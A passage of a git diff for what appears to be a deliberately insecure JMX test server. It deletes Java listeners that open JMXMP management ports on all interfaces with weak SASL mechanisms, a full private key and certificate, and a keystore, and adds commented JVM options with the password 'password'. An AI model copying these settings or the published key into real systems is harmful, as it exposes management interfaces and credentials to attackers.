"rawtypes", "unchecked" }) - @Override - public void lifecycleEvent(final LifecycleEvent event) - { - try { - - if (Lifecycle.START_EVENT == event.getType()) { - log.info("Starting JMXMP SASL Listener (CRAM)"); - - HashMap env = new HashMap(); - SSLContext ctx = SSLContext.getDefault(); - SSLSocketFactory ssf = ctx.getSocketFactory(); - env.put("jmx.remote.profiles", "TLS SASL/CRAM-MD5"); - env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallBackHandler()); - env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); - env.put("jmx.remote.tls.socket.factory", ssf); - - cs = JMXConnectorServerFactory.newJMXConnectorServer( - new JMXServiceURL("jmxmp", "0.0.0.0", port), - env, - ManagementFactory.getPlatformMBeanServer() - ); - cs.start(); - - log.info("Started JMXMP SASL Listener (CRAM) on port " + port); - } - - else if (Lifecycle.STOP_EVENT == event.getType()) { - log.info("Stopp JMXMP SASL Listener (CRAM)"); - cs.stop(); - log.info("Stopped JMXMP SASL Listener (CRAM)"); - } - - } catch (final Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java deleted file mode 100644 index 798df09..0000000 --- a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java +++ /dev/null @@ -1,76 +0,0 @@ -/* Credits: https://github.com/felixoldenburg/jmxmp-lifecycle-listener */ -package javax.management.remote.extension; - -import java.lang.management.ManagementFactory; -import java.util.HashMap; - -import javax.management.remote.JMXConnectorServer; -import javax.management.remote.JMXConnectorServerFactory; -import javax.management.remote.JMXServiceURL; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocketFactory; - -import org.apache.catalina.Lifecycle; -import org.apache.catalina.LifecycleEvent; -import org.apache.catalina.LifecycleListener; -import org.apache.juli.logging.Log; -import org.apache.juli.logging.LogFactory; - -import com.sun.jdmk.security.sasl.callbacks.AuthenticationCallBackHandler; - -public class JMXMPSaslDigestLifecycleListener implements LifecycleListener -{ - protected int port = 5558; - protected JMXConnectorServer cs; - private static final Log log = LogFactory.getLog(JMXMPSaslDigestLifecycleListener.class); - - public int getPort() { - return port; - } - - public void setPort(final int port) { - this.port = port; - } - - @SuppressWarnings({ "rawtypes", "unchecked" }) - @Override - public void lifecycleEvent(final LifecycleEvent event) - { - try { - - if (Lifecycle.START_EVENT == event.getType()) { - log.info("Starting JMXMP SASL Listener (Digest)"); - - HashMap env = new HashMap(); - SSLContext ctx = SSLContext.getDefault(); - SSLSocketFactory ssf = ctx.getSocketFactory(); - - env.put("jmx.remote.profiles", "TLS SASL/DIGEST-MD5"); - env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallBackHandler()); - env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); - env.put("jmx.remote.tls.socket.factory", ssf); - - /* Somehow the next option is not accepted :/ */ - env.put("com.sun.security.sasl.digest.realm", "iinsecure.dev"); - - cs = JMXConnectorServerFactory.newJMXConnectorServer( - new JMXServiceURL("jmxmp", "0.0.0.0", port), - env, - ManagementFactory.getPlatformMBeanServer() - ); - cs.start(); - - log.info("Started JMXMP SASL Listener (Digest) on port " + port); - } - - else if (Lifecycle.STOP_EVENT == event.getType()) { - log.info("Stopp JMXMP SASL Listener (Digest)"); - cs.stop(); - log.info("Stopped JMXMP SASL Listener (Digest)"); - } - - } catch (final Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java deleted file mode 100644 index 6a0f7ee..0000000 --- a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java +++ /dev/null @@ -1,74 +0,0 @@ -/* Credits: https://github.com/felixoldenburg/jmxmp-lifecycle-listener */ -package javax.management.remote.extension; - -import java.lang.management.ManagementFactory; -import java.security.Security; -import java.util.HashMap; - -import javax.management.remote.JMXConnectorServer; -import javax.management.remote.JMXConnectorServerFactory; -import javax.management.remote.JMXServiceURL; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocketFactory; - -import org.apache.catalina.Lifecycle; -import org.apache.catalina.LifecycleEvent; -import org.apache.catalina.LifecycleListener; -import org.apache.juli.logging.Log; -import org.apache.juli.logging.LogFactory; - -import com.sun.jdmk.security.sasl.callbacks.AuthenticationCallBackHandler; - -public class JMXMPSaslLifecycleListener implements LifecycleListener -{ - protected int port = 5556; - protected JMXConnectorServer cs; - private static final Log log = LogFactory.getLog(JMXMPSaslLifecycleListener.class); - - public int getPort() { - return port; - } - - public void setPort(final int port) { - this.port = port; - } - - @SuppressWarnings({ "rawtypes", "unchecked" }) - @Override - public void lifecycleEvent(final LifecycleEvent event) - { - try { - - if (Lifecycle.START_EVENT == event.getType()) { - log.debug("Starting JMXMP SASL Listener (PLAIN)"); - - HashMap env = new HashMap(); - SSLContext ctx = SSLContext.getDefault(); - SSLSocketFactory ssf = ctx.getSocketFactory(); - Security.addProvider(new com.sun.jdmk.security.sasl.Provider()); - env.put("jmx.remote.profiles", "TLS SASL/PLAIN"); - env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallBackHandler()); - env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); - env.put("jmx.remote.tls.socket.factory", ssf); - - cs = JMXConnectorServerFactory.newJMXConnectorServer( - new JMXServiceURL("jmxmp", "0.0.0.0", port), - env, - ManagementFactory.getPlatformMBeanServer() - ); - cs.start(); - - log.info("Started JMXMP SASL Listener (PLAIN) on port " + port); - } - - else if (Lifecycle.STOP_EVENT == event.getType()) { - log.debug("Stopp JMXMP SASL Listener (PLAIN)"); - cs.stop(); - log.info("Stopped JMXMP SASL Listener (PLAIN)"); - } - - } catch (final Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java deleted file mode 100644 index 28941cf..0000000 --- a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java +++ /dev/null @@ -1,73 +0,0 @@ -/* Credits: https://github.com/felixoldenburg/jmxmp-lifecycle-listener */ -package javax.management.remote.extension; - -import java.lang.management.ManagementFactory; -import java.util.HashMap; - -import javax.management.remote.JMXConnectorServer; -import javax.management.remote.JMXConnectorServerFactory; -import javax.management.remote.JMXServiceURL; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocketFactory; - -import org.apache.catalina.Lifecycle; -import org.apache.catalina.LifecycleEvent; -import org.apache.catalina.LifecycleListener; -import org.apache.juli.logging.Log; -import org.apache.juli.logging.LogFactory; - -import com.sun.jdmk.security.sasl.callbacks.AuthenticationCallBackHandler; - -public class JMXMPSaslNtlmLifecycleListener implements LifecycleListener -{ - protected int port = 5560; - protected JMXConnectorServer cs; - private static final Log log = LogFactory.getLog(JMXMPSaslNtlmLifecycleListener.class); - - public int getPort() { - return port; - } - - public void setPort(final int port) { - this.port = port; - } - - @SuppressWarnings({ "rawtypes", "unchecked" }) - @Override - public void lifecycleEvent(final LifecycleEvent event) - { - try { - - if (Lifecycle.START_EVENT == event.getType()) { - log.info("Starting JMXMP SASL Listener (NTLM)"); - - HashMap env = new HashMap(); - SSLContext ctx = SSLContext.getDefault(); - SSLSocketFactory ssf = ctx.getSocketFactory(); - - env.put("jmx.remote.profiles", "TLS SASL/NTLM"); - env.put("jmx.remote.sasl.callback.handler", new AuthenticationCallBackHandler()); - env.put("jmx.remote.x.access.file", "/opt/jmxmp.access"); - env.put("jmx.remote.tls.socket.factory", ssf); - - cs = JMXConnectorServerFactory.newJMXConnectorServer( - new JMXServiceURL("jmxmp", "0.0.0.0", port), - env, - ManagementFactory.getPlatformMBeanServer() - ); - cs.start(); - - log.info("Started JMXMP SASL Listener (NTLM) on port " + port); - } - - else if (Lifecycle.STOP_EVENT == event.getType()) { - log.info("Stopp JMXMP SASL Listener (NTLM)"); - cs.stop(); - log.info("Stopped JMXMP SASL Listener (NTLM)"); - } - - } catch (final Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java b/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java deleted file mode 100644 index 7fe1022..0000000 --- a/.docker/resources/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java +++ /dev/null @@ -1,68 +0,0 @@ -/* Credits: https://github.com/felixoldenburg/jmxmp-lifecycle-listener */ -package javax.management.remote.extension; - -import java.util.HashMap; -import java.lang.management.ManagementFactory; - -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSocketFactory; -import javax.management.remote.JMXConnectorServer; -import javax.management.remote.JMXConnectorServerFactory; -import javax.management.remote.JMXServiceURL; - -import org.apache.catalina.Lifecycle; -import org.apache.catalina.LifecycleEvent; -import org.apache.catalina.LifecycleListener; -import org.apache.juli.logging.Log; -import org.apache.juli.logging.LogFactory; - -public class JMXMPSslLifecycleListener implements LifecycleListener -{ - protected int port = 5556; - protected JMXConnectorServer cs; - private static final Log log = LogFactory.getLog(JMXMPSslLifecycleListener.class); - - public int getPort() { - return port; - } - - public void setPort(final int port) { - this.port = port; - } - - @SuppressWarnings({ "rawtypes", "unchecked" }) - @Override - public void lifecycleEvent(final LifecycleEvent event) - { - try { - - if (Lifecycle.START_EVENT == event.getType()) { - log.info("Starting JMXMP SSL Listener"); - - HashMap env = new HashMap(); - SSLContext ctx = SSLContext.getDefault(); - SSLSocketFactory ssf = ctx.getSocketFactory(); - env.put("jmx.remote.profiles", "TLS"); - env.put("jmx.remote.tls.socket.factory", ssf); - - cs = JMXConnectorServerFactory.newJMXConnectorServer( - new JMXServiceURL("jmxmp", "0.0.0.0", port), - env, - ManagementFactory.getPlatformMBeanServer() - ); - cs.start(); - - log.info("Started JMXMP SSL Listener on port " + port); - } - - else if (Lifecycle.STOP_EVENT == event.getType()) { - log.info("Stopp JMXMP SSL Listener"); - cs.stop(); - log.info("Stopped JMXMP SSL Listener"); - } - - } catch (final Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/.docker/resources/trust/cert.pem b/.docker/resources/trust/cert.pem deleted file mode 100644 index 33f513c..0000000 --- a/.docker/resources/trust/cert.pem +++ /dev/null @@ -1,36 +0,0 @@ ------BEGIN CERTIFICATE----- -MIIGLTCCBBWgAwIBAgIUIEnxwAT90Dxy7oQWjF5WKm4S31wwDQYJKoZIhvcNAQEL -BQAwgaUxCzAJBgNVBAYTAlhZMQ0wCwYDVQQIDARIZXJlMQ4wDAYDVQQHDAVUaGVy -ZTEWMBQGA1UECgwNSW5zZWN1cmUgQ29ycDEUMBIGA1UECwwLSmF2YSBEZXZvcHMx -FjAUBgNVBAMMDWlpbnNlY3VyZS5kZXYxMTAvBgkqhkiG9w0BCQEWIml2YW4uaW5z -ZWN1cmVAaW5zZWN1cmUuZGV2Lm5vcGUubm8wHhcNMjAwOTAzMDU0NzEyWhcNNDgw -MTIwMDU0NzEyWjCBpTELMAkGA1UEBhMCWFkxDTALBgNVBAgMBEhlcmUxDjAMBgNV -BAcMBVRoZXJlMRYwFAYDVQQKDA1JbnNlY3VyZSBDb3JwMRQwEgYDVQQLDAtKYXZh -IERldm9wczEWMBQGA1UEAwwNaWluc2VjdXJlLmRldjExMC8GCSqGSIb3DQEJARYi -aXZhbi5pbnNlY3VyZUBpbnNlY3VyZS5kZXYubm9wZS5ubzCCAiIwDQYJKoZIhvcN -AQEBBQADggIPADCCAgoCggIBAPVBlHIrnyZKaOQDBcvqmW9LLDkPbk0xDvwfVRkT -40zwuNVT9PR/uGSsCGqQR8r92tFJv5T04W3Qv+7akzFeRvPjBJq5sc9THAfYOS96 -ceT7nCmX8+D5Pq3nHf2a2wAQOmwZjNB+L+QHmTDWoHOZlNzQpF+P5aBuTL2LrTZU -CyHEs6I0nkve4pNeMy4iGygCrYdfRiUQRUr6hCxx+LijuphRi1Z5O2TNkxeY1GR2 -VoTiQrtDmEaCoZnmPtPsuRHivYICdEN4wn93Pd2amUhLSJxGnNmiwmBhwBnYGTyd -ZNPApqAEmHqzIF/PkCooSj8dofoe5hO8TXBmvJUV5wftx14h9qRVH6UD/pAr+6Oo -NSHXwt16wikPaiDQWo/i8e/5PGi2KPgDdqIhE5rXpMGQspYaRgpmk6v7+weSpF3p -BfYPvj4CXYXT2Pw+f669m/61r+FJ3zO6jlo/YyiGLWMmL+xHKvrjFz+5JCCERlmx -k6VKp73IBfYB86XpulB332vLyJAMtfx5bFHbXxCxHo09CB9GN/NB5ZDccM075X5a -lXFj1wyNQyIG/xrLYbgruc490VK0iinM06mmCWEVrfciB57TqO9+kY7fe6mozW1P -hcJZASG0w1DtvcRuNqulI61T6LRcPkgqpyxV44fpGHWpprGrgyr1/lsbwpIcs+VW -xXqVAgMBAAGjUzBRMB0GA1UdDgQWBBRhlMmIEmhILi/OFpkP6GVXFkfX7DAfBgNV -HSMEGDAWgBRhlMmIEmhILi/OFpkP6GVXFkfX7DAPBgNVHRMBAf8EBTADAQH/MA0G -CSqGSIb3DQEBCwUAA4ICAQAblYILJy0kUGZZCLL5o8t0/fIBm8ycB7dWMM9VUiKU -wcCP2yaC91cLjFZgttkqVAeAlHUogOyUgohiGCsJai0w3oKv7m9CQA88cSHPAaZz -CujI0pcfOPwbWUmcoD0nzkDH99BqeMGxlVk0BOvlNGMJ38p2klPBYGOyAoQs6sxR -f0K/F0BUPuZe4xsrLrAZjkvMFQHvAdECwY+dY2VhCYj1Vy++B+VLpFj3cobnM4qv -4lMfvYSUwLzrTS/3a8XEeFNiqHbgYB5juzhFpwV2s7VSp9w1lHPuCc0ZyEfhap1M -BYN4UcTmL76/mhm1ARV/NPwuNR6KWAsNA/n2KJbpmVs5kHxciWFvftzp03D/tggN -MeLOYKns1PmTkHvW167vZ0ov2jyH8o2m1tJK+/JQ/ry0XEZOGQ8zHsFrIaMHqH/v -ZzREtTy1aZAvzuExlCwsAIvPGsOffjMZvA/oS5Jl+dkos631AHvyOQN2L8i7Ml2G -sICzSL6i0hg/A4SaYAm6vy/AtMZFK3szlD8OsxBTs16gi3CEKOXvCUKW3YuPiLhN -cr7ijpUERsZ+01ud3b0PW/prvKs1qGV1z7e9coo7H0p9b7jlCPyEIJWc9u34KL5W -JMbneZoQdrDzlU/HJUmR2vrMb8czeaceLnUg7vMgNJJfIL5hxks4/WU5tOT+XRqV -cw== ------END CERTIFICATE----- diff --git a/.docker/resources/trust/key.pem b/.docker/resources/trust/key.pem deleted file mode 100644 index 371312f..0000000 --- a/.docker/resources/trust/key.pem +++ /dev/null @@ -1,52 +0,0 @@ ------BEGIN PRIVATE KEY----- -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 -EwJafsCOwIvLe+cwvRpWxuPm3xnsbys6MaWnE7MtAoIBAQCrY6SKEroRKMaysmEI -pOAfpUuHdepu/BUq23q+olmt+j2ZVIEO+5OAPipk9XMb9DcZ3EJeh4bmgn5eL6Xx -8r4L54Pb157yK1gw0zVjsxbCjoMIIHfBKv6QgDx+oj4agVwMLo/Dwu2kTx8PEkls -e2SIep9uUvuDW8jpO7uUIUxs5sP7xm4fCkS0EShB+W2PlzPu44bHKt+mKpv9i5lx -cW+2OT9sgZ4/A4F2e5kBvBvjVuMMrw2TeJJapaBhyY06PE7gBFGHbnjPP0n0ho2w -6e40EKZVZP2tk5jQ85neCVeyJm3RgnYiITKX3Hs3KeynWLP6mOFOmOJIlnE2+ya7 -0AKNAoIBADZKcUUJrrmVsWzzTshJ29Keo4Oru7cKuX35J9BAwZ6sXiY9ISruVWeZ -gUHI1I95gZsEkrR332p0iopQYngTK4EXcL0XCu9deJpbFC2UuZK5Ra4YBIlqS/VJ -XtAQdmZ1vzi71C5aOC9Us8BNF+4ATaJi8i1AM0lkvpUqyrZ8vboZIaSVApSPVV7C -zbPL3gFxwIdfciYNGXaUxv+a30DdXPqCcUScm1TXfoOjFUH/L+598LFhuMIfEUSb -I+sZvUapZ9IhVJ5b2K/LO/9KGWl8BTvDnc2CqNLEA9SlBFvzjv/4jldWkd0rQY8q -SzHBXGMvKmPiAowXXn7z+hA9IU+qIbc= ------END PRIVATE KEY----- diff --git a/.docker/resources/trust/store.p12 b/.docker/resources/trust/store.p12 deleted file mode 100644 index 5841116df7a944262f5b4859b3d81bce28b37f56..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4341 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 + # _JAVA_OPTIONS -Djava.rmi.server.hostname=iinsecure.dev \ + # -Djavax.net.ssl.keyStorePassword=password \ + # -Djavax.net.ssl.keyStore=/opt/store.p12 \ + # -Djavax.net.ssl.keyStoreType=pkcs12 \ + # -Dcom.sun.management.jmxremote \ + # -Dcom.sun.management.jmxremote.local.only=false \ + # -Dcom.sun.management.jmxremote.authenticate=true \ + # -Dcom.sun.management.jmxremote.port=1099 \ + # -Dcom.sun.management.jmxremote.rmi.port=1099 \ + # -Dcom.sun.management.jmxremote.ssl=true \ + # -Dcom.sun.management.jmxremote.registry.ssl=true \ + # -Dcom.sun.management.jmxremote.password.file=/opt/jmxremote.password \ + # -Dcom.sun.management.jmxremote.access.file=/opt/jmxremote.access + #volumes: + # - ./resources/trust/store.p12:/opt/store.p12 + # - ./resources/scripts/start.sh:/opt/start.sh + # - ./resources/conf/jmxmp.access:/opt/jmxmp.access + # - ./resources/conf/jmxremote.access:/opt/jmxremote.access + # - ./resources/conf/jmxremote.password:/opt/jmxremote.password diff --git a/.docker/resources/conf/jmxmp.access b/docker/jmx-example-server/resources/conf/jmxmp.access similarity index 100% rename from .docker/resources/conf/jmxmp.access rename to docker/jmx-example-server/resources/conf/jmxmp.access diff --git a/.docker/resources/conf/jmxremote.access b/docker/jmx-example-server/resources/conf/jmxremote.access similarity index 100% rename from .docker/resources/conf/jmxremote.access rename to docker/jmx-example-server/resources/conf/jmxremote.access diff --git a/.docker/resources/conf/jmxremote.password b/docker/jmx-example-server/resources/conf/jmxremote.password similarity index 100% rename from .docker/resources/conf/jmxremote.password rename to docker/jmx-example-server/resources/conf/jmxremote.password diff --git a/.docker/resources/scripts/start.sh b/docker/jmx-example-server/resources/scripts/start.sh similarity index 62% rename from .docker/resources/scripts/start.sh rename to docker/jmx-example-server/resources/scripts/start.sh index ae6a518..fe6cd8c 100644 --- a/.docker/resources/scripts/start.sh +++ b/docker/jmx-example-server/resources/scripts/start.sh @@ -7,8 +7,10 @@ echo "[+] Adding gateway address to /etc/hosts file..." GATEWAY=$(ip r | grep "default via" | cut -d" " -f 3) echo "$GATEWAY prevent.reverse.dns" >> /etc/hosts -echo "[+] Adding RMI hostname to 